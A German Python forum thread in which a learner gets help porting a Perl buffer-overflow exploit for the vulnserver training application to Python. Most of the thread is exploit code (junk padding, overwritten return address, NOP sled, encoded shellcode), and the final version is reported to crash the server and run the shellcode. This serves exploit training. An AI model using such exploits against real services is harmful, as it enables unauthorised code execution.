Perl nach Python portieren problem (send data script)

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Hallo Leute,

Ich bin ziemlich neu in Python und ich habe auch schon gegoogled aber nichts vernünftiges gefunden.

Ich möchte ein Perl script nach python umwandeln.Also die funktion des perlscripts möchte ich in python schreiben.
Das script ist zum fuzzen gedacht.Dabei geht es darum eine verwundbare Applikation zum Absturz zu bringen und herauszufinden an welcher Stelle man eigenen code ausführen kann.Aber ich denke das wisst Ihr alle selbst.
Die App heisst vulnserver und ist extra dafür gemacht fuzzing zu trainieren.

Ich habe dann ein perlscript geschrieben, das den server crashen lässt und dann die per Windows CMD die calc.exe aufruft.
Aber ich möchte das script nach python schreiben mit den selben funktionen.

Hier ist erstmal der perl code:

Code: Alles auswählen

#!/usr/bin/perl

use IO::Socket;

$header = "TRUN /.:/";
$junk = "\x41" x 2003;
$eip = pack('V', 0x625011af);
$nop = "\x90" x 20;
$shellcode = "\x89\xe5\xd9\xcf\xd9\x75\xf4\x5b\x53\x59\x49\x49\x49\x49" .
                  "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
                  "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
                  "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
                  "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
                  "\x58\x4d\x59\x45\x50\x45\x50\x45\x50\x43\x50\x4c\x49\x5a" .
                  "\x45\x56\x51\x58\x52\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c" .
                  "\x4b\x56\x32\x54\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x43" .
                  "\x42\x51\x38\x54\x4f\x4e\x57\x50\x4a\x56\x46\x50\x31\x4b" .
                  "\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x54" .
                  "\x42\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x58" .
                  "\x47\x5a\x42\x4c\x30\x56\x32\x56\x37\x4c\x4b\x56\x32\x54" .
                  "\x50\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c\x4b\x51" .
                  "\x50\x52\x58\x4c\x45\x4f\x30\x43\x44\x51\x5a\x43\x31\x58" .
                  "\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x51" .
                  "\x30\x45\x51\x49\x43\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47" .
                  "\x44\x4c\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x50\x31\x49" .
                  "\x50\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x4f\x37\x56" .
                  "\x58\x4d\x30\x54\x35\x4c\x34\x54\x43\x43\x4d\x4c\x38\x47" .
                  "\x4b\x43\x4d\x56\x44\x52\x55\x4d\x32\x56\x38\x4c\x4b\x56" .
                  "\x38\x56\x44\x45\x51\x58\x53\x45\x36\x4c\x4b\x54\x4c\x50" .
                  "\x4b\x4c\x4b\x51\x48\x45\x4c\x45\x51\x58\x53\x4c\x4b\x43" .
                  "\x34\x4c\x4b\x45\x51\x4e\x30\x4d\x59\x50\x44\x56\x44\x47" .
                  "\x54\x51\x4b\x51\x4b\x45\x31\x56\x39\x51\x4a\x56\x31\x4b" .
                  "\x4f\x4b\x50\x56\x38\x51\x4f\x51\x4a\x4c\x4b\x54\x52\x5a" .
                  "\x4b\x4c\x46\x51\x4d\x43\x5a\x43\x31\x4c\x4d\x4b\x35\x4e" .
                  "\x59\x45\x50\x43\x30\x45\x50\x50\x50\x45\x38\x56\x51\x4c" .

$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);

$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($header.$junk.$eip.$nop.$shellcode);
Ich habe dann nach networkprogrammierung in python gegoogled und dann versucht das ganze in python zu schreiben.Aber lacht bitte nich :oops:

Hier der Python code:

Code: Alles auswählen

#!/usr/bin/python

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
        header = ('TRUN /.:/')
        junk = ('"\x41" x 2003')
        eip = ('"V", 0x625011af')
        nop = ('"\x90" x 20')
        shellcode = ('\x89\xe0\xda\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43
                      \x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58
                      \x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42
                      \x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30
                      \x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38
                      \x4d\x59\x45\x50\x45\x50\x43\x30\x45\x30\x4c\x49\x4d\x35
                      \x56\x51\x49\x42\x45\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b
                      \x56\x32\x54\x4c\x4c\x4b\x56\x32\x45\x44\x4c\x4b\x52\x52
                      \x51\x38\x54\x4f\x58\x37\x51\x5a\x51\x36\x56\x51\x4b\x4f
                      \x56\x51\x49\x50\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x54\x42
                      \x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37
                      \x5a\x42\x5a\x50\x56\x32\x56\x37\x4c\x4b\x50\x52\x52\x30
                      \x4c\x4b\x47\x32\x47\x4c\x43\x31\x58\x50\x4c\x4b\x51\x50
                      \x52\x58\x4b\x35\x4f\x30\x43\x44\x51\x5a\x45\x51\x4e\x30
                      \x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x51\x48\x51\x30
                      \x43\x31\x4e\x33\x4b\x53\x47\x4c\x47\x39\x4c\x4b\x47\x44
                      \x4c\x4b\x43\x31\x4e\x36\x56\x51\x4b\x4f\x56\x51\x4f\x30
                      \x4e\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x50\x38
                      \x4b\x50\x52\x55\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b
                      \x43\x4d\x56\x44\x54\x35\x4b\x52\x56\x38\x4c\x4b\x51\x48
                      \x56\x44\x45\x51\x49\x43\x45\x36\x4c\x4b\x54\x4c\x50\x4b
                      \x4c\x4b\x50\x58\x45\x4c\x45\x51\x4e\x33\x4c\x4b\x43\x34
                      \x4c\x4b\x45\x51\x4e\x30\x4d\x59\x47\x34\x51\x34\x51\x34
                      \x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f
                      \x4d\x30\x56\x38\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b

sock.sendto(header, junk, eip, nop, shellcode('192.168.2.101', 9999))
sock.close()
Beim ausführen habe ich folgende Fehlermeldung bekommen:

Code: Alles auswählen

root@bt:~# python exploit.py
  File "exploit.py", line 11
    shellcode = ('\x89\xe0\xda\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43 
                                                                          ^
SyntaxError: EOL while scanning string literal
Ich habe mir schon gedacht ,das ich das nicht eins zu eins übernehmen kann weil der python interpreter nicht mit den ganzen / nichts anfangen kann.Aber wie könnte ich das hinbekommen?
Ich hoffe Ihr könnt mir helfen :)

Gruß
patzen
Zuletzt geändert von Anonymous am Montag 17. Oktober 2011, 08:54, insgesamt 1-mal geändert.
Grund: Quelltext in Perl- und Python-Codetags gesetzt.
Benutzeravatar
jens
Python-Forum Veteran
Beiträge: 8502
Registriert: Dienstag 10. August 2004, 09:40
Wohnort: duisburg
Kontaktdaten:

Schau dir mal das an: http://wiki.python.de/Lange%20Zeilen%20im%20Sourcecode (insbesondere "lange Strings")

GitHub | Open HUB | Xing | Linked in
Bitcoins to: 1JEgSQepxGjdprNedC9tXQWLpS424AL8cd
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Danke für die schnelle Antwort :)

Also muss ich quasi alle / entfernen und am Anfang jeder Zeile ein " setzen und aschließend das '.Aber das ist ja binärcode der von der Anwendung ausgeführt werden soll.Muss ich da nicht noch irgendwas davor setzen? Das python es als binärcode behandelt?

Danke nochmal für die super schnelle Antwort
lunar

@patzen: Dir mangelt es an absolutem Grundwissen, und wir sind sicherlich nicht dafür da, Dir dann die Dokumentation vorzulesen…
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Hallo nochmal

Ich habe jetzt mal alle / rausgenommen (per hand :? ) und es sieht auf jeden Fall schonmal besser aus und wird auch jetzt grün hinterlegt wie der Rest des blocks.

Code: Alles auswählen

#!/usr/bin/python

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
        header = ('TRUN /.:/')
        junk = ('"\x41" x 2003')
        eip = ('"V", 0x625011af')
        nop = ('"\x90" x 20')
        shellcode = ('"x89xe0xdaxcbxd9x70xf4x59x49x49x49x49x49x43"
                      "x43x43x43x43x43x51x5ax56x54x58x33x30x56x58"
                      "x34x41x50x30x41x33x48x48x30x41x30x30x41x42"
                      "x41x41x42x54x41x41x51x32x41x42x32x42x42x30"
                      "x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4dx38"
                      "x4dx59x45x50x45x50x43x30x45x30x4cx49x4dx35"
                      "x56x51x49x42x45x34x4cx4bx50x52x50x30x4cx4b"
                      "x56x32x54x4cx4cx4bx56x32x45x44x4cx4bx52x52"
                      "x51x38x54x4fx58x37x51x5ax51x36x56x51x4bx4f"
                      "x56x51x49x50x4ex4cx47x4cx45x31x43x4cx54x42"
                      "x56x4cx47x50x49x51x58x4fx54x4dx45x51x4fx37"
                      "x5ax42x5ax50x56x32x56x37x4cx4bx50x52x52x30"
                      "x4cx4bx47x32x47x4cx43x31x58x50x4cx4bx51x50"
                      "x52x58x4bx35x4fx30x43x44x51x5ax45x51x4ex30"
                      "x56x30x4cx4bx50x48x52x38x4cx4bx51x48x51x30"
                      "x43x31x4ex33x4bx53x47x4cx47x39x4cx4bx47x44"
                      "x4cx4bx43x31x4ex36x56x51x4bx4fx56x51x4fx30"
                      "x4ex4cx49x51x58x4fx54x4dx43x31x49x57x50x38"
                      "x4bx50x52x55x4cx34x43x33x43x4dx4cx38x47x4b"
                      "x43x4dx56x44x54x35x4bx52x56x38x4cx4bx51x48"
                      "x56x44x45x51x49x43x45x36x4cx4bx54x4cx50x4b"
                      "x4cx4bx50x58x45x4cx45x51x4ex33x4cx4bx43x34"
                      "x4cx4bx45x51x4ex30x4dx59x47x34x51x34x51x34"
                      "x51x4bx51x4bx43x51x56x39x51x4ax56x31x4bx4f"
                      "x4dx30x56x38x51x4fx50x5ax4cx4bx52x32x5ax4b"
                      "x52x4fx4dx57x4bx4fx58x55x4fx4bx4bx4ex54x4e"
                      "x47x42x4bx5ax45x38x49x36x5ax35x4fx4dx4dx4d"
                      "x4bx4fx58x55x47x4cx43x36x43x4cx54x4ax4bx30"
                      "x4bx4bx4bx50x54x35x45x55x4fx4bx47x37x54x53"
                      "x52x52x52x4fx52x4ax45x50x50x53x4bx4fx4ex35"
                      "x43x53x43x51x52x4cx45x33x45x50x41x41"')

        sock.sendto(header, junk, eip, nop, shellcode('192.168.2.101', 9999))
sock.close()

In nano ist auch alles bündig also korrekt eingerückt.Aber jetzt bekommen ich folgenden Fehler nach starten des scripts:

Code: Alles auswählen

root@bt:~# python exploit.py
  File "exploit.py", line 11
    shellcode = ('"x89xe0xdaxcbxd9x70xf4x59x49x49x49x49x49x43" 
                                                              ^
SyntaxError: EOL while scanning string literal

Es sind nur die Gänsefüßchen " in grün unterlegt nicht aber die beiden Hochkommata am Anfang und am Ende.
Kann es vielleicht daran liegen? Und wie kann ich das beheben?

Grüße
patzen
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

lunar hat geschrieben:@patzen: Dir mangelt es an absolutem Grundwissen, und wir sind sicherlich nicht dafür da, Dir dann die Dokumentation vorzulesen…
Ja ich bin ziemlich neu in Python aber ich dachte halt man könne es so einfach übernehmen.Die dokumentation werde ich mir durchlesen und ich habe auch schon zwei Bücher bestellt zum Thema Python und byteofpython.pdf gelesen.

Übrigens habe ich gerade herausgefunden, das der shellcode ja immer noch in perl formatiert war und dass encoder Programm noch gar keinen python relevanten code ausgibt :K

Ich werde sicherlich noch mehrere Fehler gemacht haben ausserdem shellcode und ich sollte mich ganz von Anfang an Python auseinander setzen.Das Problem ist halt das ich besten by doing lerne dazu kommt noch extreme Ungeduld :(

Egal ich werde mich da reinknien und hoffentlich sieht man sich später nochmal.Mit besseren Ergebnissen:)

Ich wünsche euch allen einen schönes Wochenende

Gruß
patzen
Dav1d
User
Beiträge: 1437
Registriert: Donnerstag 30. Juli 2009, 12:03
Kontaktdaten:

Ausnahmsweise:

Code: Alles auswählen

#!/usr/bin/python

import socket
import struct

def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('192.168.2.101', 9999))

    header = 'TRUN /.:/'
    junk = '\x41'*2003
    eip = struct.pack('L<', 0x625011af)
    nop = '\x90*20
    shellcode = ('\x89\xe0\xda\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
                 '\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
                 '\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
                 '\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
                 '\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38'
                 '\x4d\x59\x45\x50\x45\x50\x43\x30\x45\x30\x4c\x49\x4d\x35'
                 '\x56\x51\x49\x42\x45\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
                 '\x56\x32\x54\x4c\x4c\x4b\x56\x32\x45\x44\x4c\x4b\x52\x52'
                 '\x51\x38\x54\x4f\x58\x37\x51\x5a\x51\x36\x56\x51\x4b\x4f'
                 '\x56\x51\x49\x50\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x54\x42'
                 '\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
                 '\x5a\x42\x5a\x50\x56\x32\x56\x37\x4c\x4b\x50\x52\x52\x30'
                 '\x4c\x4b\x47\x32\x47\x4c\x43\x31\x58\x50\x4c\x4b\x51\x50'
                 '\x52\x58\x4b\x35\x4f\x30\x43\x44\x51\x5a\x45\x51\x4e\x30'
                 '\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x51\x48\x51\x30'
                 '\x43\x31\x4e\x33\x4b\x53\x47\x4c\x47\x39\x4c\x4b\x47\x44'
                 '\x4c\x4b\x43\x31\x4e\x36\x56\x51\x4b\x4f\x56\x51\x4f\x30'
                 '\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x50\x38'
                 '\x4b\x50\x52\x55\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b'
                 '\x43\x4d\x56\x44\x54\x35\x4b\x52\x56\x38\x4c\x4b\x51\x48'
                 '\x56\x44\x45\x51\x49\x43\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
                 '\x4c\x4b\x50\x58\x45\x4c\x45\x51\x4e\x33\x4c\x4b\x43\x34'
                 '\x4c\x4b\x45\x51\x4e\x30\x4d\x59\x47\x34\x51\x34\x51\x34'
                 '\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
                 '\x4d\x30\x56\x38\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b')

    sock.send(header+junk+eip+nop+shellcode)

    sock.close()
Aber wie lunar schon sagte, Grundwissen ist das A und O, welches zu _erst_ erlernt werden sollte und welches auch benötigt wird um das zu verstehen, was du mit diesem Code eigentlich machst.
the more they change the more they stay the same
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Hey cool danke Dav1d ,
Ja, eines der Bücher ist heute schon gekommen und ich bin schon fleissig am lernen :D

Python ist echt ne schöne Sache wenn mans kann.

Danke nochmal für den Code.Supercool

Ich wünsche allen ein schönes Wochenende :)

Gruß
patzen
Dav1d
User
Beiträge: 1437
Registriert: Donnerstag 30. Juli 2009, 12:03
Kontaktdaten:

Kein Problem, btw. bei dem struct.pack Argument ('V' in perl) bin ich mir nicht ganz sicher, also wenns nicht geht, vllt erstmal danach suchen ;)
the more they change the more they stay the same
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Hallo Dav1d,

bisher konnte ich nocht prüfen ob das mit dem ('V') bzw. ('L<') funktioniert weil Python beim ausführen einen Syntax Error bezüglich der

"sock.send" line ausgibt.
Ansonsten hat er nichts zu beanstanden.

Aber sag bitte nichts,das möchte ich alleine herausfinden.Geht ja nicht dass du die ganze Arbeit machst :)

Ich sage Dir aber dann bescheid ob es geklappt hat mit dem pack Argument :D

Have an epic evening
Patzen
Dav1d
User
Beiträge: 1437
Registriert: Donnerstag 30. Juli 2009, 12:03
Kontaktdaten:

Oh, ja beim nop-Block fehlt das Stringende
the more they change the more they stay the same
Benutzeravatar
Hyperion
Moderator
Beiträge: 7478
Registriert: Freitag 4. August 2006, 14:56
Wohnort: Hamburg
Kontaktdaten:

Strings würde ich mit `"".join` zusammensetzen:

Code: Alles auswählen

sock.send("".join(header, junk, eip, nop, shellcode))
encoding_kapiert = all(verstehen(lesen(info)) for info in (Leonidas Folien, Blog, Folien & Text inkl. Python3, utf-8 everywhere))
assert encoding_kapiert
BlackJack

Beim Ergebnis von `struct.pack()` sollte man prüfen ob das Ergebnis tatsächlich 4 Bytes lang ist. Wenn auf dem System ein ``unsigned long`` eine andere Länge hat, stimmt das an der Stelle sonst nicht mehr mit dem Perl-Code überein.
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Hallo Leute,

ich hab's endlich hinbekommen mit Hilfe von Dav1d und ne menge google'n :D

Also die main fucntion ist nicht zugewiesen sagte man mir und ich brauche sie bloß wegzulassen.Dann gings aber los mit dem struct argument wie Dav1d schon befürchtete.

Hier ist der code:

Code: Alles auswählen

#!/usr/bin/python

import socket
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.2.105', 9999))

header = 'TRUN /.:/'
junk = '\x41'*2003
eip = struct.pack('<I', 0x625011af)
nop = '\x90'*20
shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
             '\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
             '\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
             '\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
             '\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
             '\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
             '\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
             '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
             '\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
             '\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
             '\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
             '\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
             '\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
             '\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
             '\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
             '\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
             '\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
             '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
             '\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
             '\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
             '\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
             '\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
             '\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
             '\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
             '\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
             '\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
             '\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
             '\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
             '\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
             '\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
             '\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
             '\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
             '\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')

sock.send(header+junk+eip+nop+shellcode)

sock.close()

Hyperion hat geschrieben:Strings würde ich mit `"".join` zusammensetzen:

Code: Alles auswählen

sock.send("".join(header, junk, eip, nop, shellcode))
Danke für deine Antwort ich probiere das alles mal aus.Mitlerweile schlafe ich kaum noch :mrgreen:
BlackJack hat geschrieben:Beim Ergebnis von `struct.pack()` sollte man prüfen ob das Ergebnis tatsächlich 4 Bytes lang ist. Wenn auf dem System ein ``unsigned long`` eine andere Länge hat, stimmt das an der Stelle sonst nicht mehr mit dem Perl-Code überein.
Danke auch für deine Antwort.Jetzt weiss ich das python das (<) vor dem Argument haben muss und perl immer dahinter.Der Server ist jetzt ordnungsgemäß gecrashed und der shellcode wurde auch ausgeführt 8)

Ich habe mir jetzt ne software geholt (phase6) inder ich alles einegeben kann und jeden Tag abgefragt werde.Ist eigentlich für Vokabeln aber das ist es ja quasi.

Also danke nochmal an alle für eure Hilfe und eine schöne Woche wünsche ich Euch

Gruß
patzen
Dav1d
User
Beiträge: 1437
Registriert: Donnerstag 30. Juli 2009, 12:03
Kontaktdaten:

Kein problem, allerdings solltest du meine `main` funktion beibehalten und sie einfach "ausführen", der Code könnte dann so aussehen (basierend auf deinem):

Code: Alles auswählen

#!/usr/bin/python

import socket
import struct


def send(adress, data)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(adress)
    
    sock.send(data)

    sock.close() 
    

def main():
    header = 'TRUN /.:/'
    junk = '\x41'*2003
    eip = struct.pack('<I', 0x625011af)
    nop = '\x90'*20
    shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
                 '\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
                 '\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
                 '\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
                 '\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
                 '\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
                 '\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
                 '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
                 '\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
                 '\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
                 '\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
                 '\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
                 '\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
                 '\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
                 '\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
                 '\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
                 '\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
                 '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
                 '\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
                 '\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
                 '\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
                 '\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
                 '\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
                 '\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
                 '\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
                 '\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
                 '\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
                 '\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
                 '\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
                 '\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
                 '\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
                 '\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
                 '\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')
    
    send(('192.168.2.105', 9999), ''.join([header, junk, eip, nop, shellcode))

if __name__ == '__main__':
    main()
the more they change the more they stay the same
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Hi Dav1d

Ich habe dein script jetzt mal ausgeführt aber leider funktioniert es nocht nicht :(

Zuerst hat python mir einen Fehler in: def send(address, data) gemeldet aber da hast du bloß einen Doppelpunkt vergessen.
Zumindest hat er es nacher nicht mehr angezeigt.

Aber dann meinte Python:

Code: Alles auswählen

root@bt:~# nano exploit.dav1d.py
root@bt:~# python exploit.dav1d.py 
  File "exploit.dav1d.py", line 57
    if __name__ == '__main__':
                             ^
SyntaxError: invalid syntax
Also wieder was mit Doppelpunkt aber ich weiss genau, das der da hingehört.

Ich habe mal genau geguckt aber keine Fehler finden können (ich würde ihn glaube ich auch noch nicht wahrnehmen)
Du hast Recht, ich würde auch lieber mit funktionen arbeiten um es besser verstehen zu können und meine scripts immer mehr auszuweiten.
Du kannst ja mal gucken woran es liegen könnte.Ich werde mich auch nochmal versuchen schlau zu machen.
Habe das script auch schon an Dave "Rel1k" Kennedy geschickt.Ein ziemlicher Python Ninja nur leider bekommt man da selten ne Antwort.Hat wohl zu viel zu tun :mrgreen:

Vielen Dank für das script und ich werde mal sehen ob ich den Fehler finde.Du kannst mir ja einen Hinweis geben wenn du ihn gefunden hast.Der lernens wegen:)

Ich wünsche dir einen schönen Tag

Liebe Grüße
patzen
BlackJack

@patzen: Der Compiler zeigt nicht auf die Stelle wo etwas nicht stimmt, sondern auf die Stelle wo er bemerkt hat, dass etwas nicht stimmt. Das Problem liegt also irgendwo vor dieser Stelle und der Parser verarbeitet etwas wo ihm an der Stelle mit dem ``:`` auffällt, dass da keiner kommen dürfte. Dabei ist der Doppelpunkt selbst an der Stelle schon richtig so, wenn denn davor die Syntax stimmen würde. Kleiner Tipp: Es liegt an einer fehlenden Klammer. Art und Position der Klammer kannst Du ja mal selber suchen. :-)
Dav1d
User
Beiträge: 1437
Registriert: Donnerstag 30. Juli 2009, 12:03
Kontaktdaten:

uups, das tut mir leid, es sind sogar 2 Fehler drin :oops:

Einmal fehlt ein : und einmal ne Klammer
the more they change the more they stay the same
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

